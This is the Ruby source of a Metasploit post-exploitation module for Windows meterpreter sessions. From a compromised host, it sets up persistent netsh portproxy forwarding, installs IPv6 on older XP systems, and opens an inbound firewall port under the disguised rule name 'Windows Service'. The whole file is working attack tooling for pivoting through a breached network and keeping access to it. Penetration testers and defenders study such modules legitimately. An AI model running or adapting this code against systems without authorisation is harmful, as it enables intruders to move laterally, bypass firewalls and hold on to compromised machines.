132 lines
4.3 KiB
Ruby
132 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Priv
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Manage Set Port Forwarding With PortProxy',
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'Description' => %q{
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This module uses the PortProxy interface from netsh to set up
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port forwarding persistently (even after reboot). PortProxy
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supports TCP IPv4 and IPv6 connections.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ]
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)
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)
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register_options(
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[
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OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']),
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OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']),
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OptPort.new('CONNECT_PORT', [ true, 'Port number to which to connect.']),
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OptPort.new('LOCAL_PORT', [ true, 'Port number to which to listen.']),
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OptBool.new('IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]),
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OptEnum.new('TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4', 'v6tov6', 'v6tov4', 'v4tov6']])
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]
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)
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end
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def run
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if !is_admin?
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print_error("You don't have enough privileges. Try getsystem.")
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return
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end
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# Due to a bug in Windows XP you need to install IPv6
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# http://support.microsoft.com/kb/555744/en-us
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version = get_version_info
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if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP2) && !check_ipv6
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return
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end
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return unless enable_portproxy
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fw_enable_ports
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end
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def enable_portproxy
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rtable = Rex::Text::Table.new(
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'Header' => 'Port Forwarding Table',
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'Indent' => 3,
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'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT']
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)
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print_status('Setting PortProxy ...')
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netsh_args = 'interface portproxy '
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netsh_args << "add #{datastore['TYPE']} "
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netsh_args << "listenport=#{datastore['LOCAL_PORT']} "
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netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} "
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netsh_args << "connectport=#{datastore['CONNECT_PORT']} "
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netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}"
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output = cmd_exec('netsh', netsh_args)
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if output.size > 2
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print_error('Setup error. Verify parameters and syntax.')
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return false
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else
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print_good('PortProxy added.')
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end
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output = cmd_exec('netsh', 'interface portproxy show all')
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output.each_line do |l|
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rtable << l.split(' ') if l.strip =~ /^[0-9]|\*/
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end
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print_status(rtable.to_s)
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return true
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end
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def ipv6_installed
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output = cmd_exec('netsh', 'interface ipv6 show interface')
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if output.lines.count > 2
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return true
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else
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return false
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end
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end
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def check_ipv6
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if ipv6_installed
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print_status('IPv6 is already installed.')
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return true
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elsif !datastore['IPV6_XP']
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print_error('IPv6 is not installed. You need IPv6 to use portproxy.')
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print_status('IPv6 can be installed with "netsh interface ipv6 install"')
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return false
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else
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print_status('Installing IPv6... can take a little long')
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cmd_exec('netsh', 'interface ipv6 install', 120)
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if !ipv6_installed
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print_error('IPv6 was not successfully installed. Run it again.')
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return false
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end
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print_good('IPv6 was successfully installed.')
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return true
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end
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end
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def fw_enable_ports
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print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...")
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version = get_version_info
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if version.build_number >= Msf::WindowsVersion::Vista_SP0
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cmd_exec('netsh', "advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"")
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else
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cmd_exec('netsh', "firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"")
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end
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output = cmd_exec('netsh', 'firewall show state')
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if output =~ /^#{datastore['LOCAL_PORT']} /
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print_good('Port opened in Windows Firewall.')
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else
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print_error('There was an error enabling the port.')
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end
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end
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end
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